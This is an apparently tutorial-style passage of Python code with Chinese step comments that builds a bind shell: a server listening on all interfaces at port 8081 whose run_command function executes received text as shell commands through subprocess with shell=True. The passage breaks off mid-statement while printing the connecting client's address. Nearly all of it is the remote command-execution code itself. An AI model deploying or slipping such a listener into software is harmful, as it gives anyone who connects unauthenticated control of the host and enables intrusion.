导入模块
import socket
import subprocess
将要监听的端口信息设置好
host='0.0.0.0'
port=8081
首先实现一个命令执行函数,并将结果返回
def run_command(command):
"""执行命令"""
command = command.rstrip()
try:
output = subprocess.check_output(
command, stderr=subprocess.STDOUT, shell=True)
except:
output = b"Failed to execute command.\r\n"
return output
接下来就是监听设置好的端口,跟打印出状态和连接的客户端ip地址
def server_start():
server=socket.socket()
try:
server.bind((host,port))
except:
print('Listening port failed!')
print('[+] server start {}:{}'.format(host,str(port)))
server.listen(5)
conn,addr=server.accept()
print('[+] client connect success {}:{}'.format(addr[0],s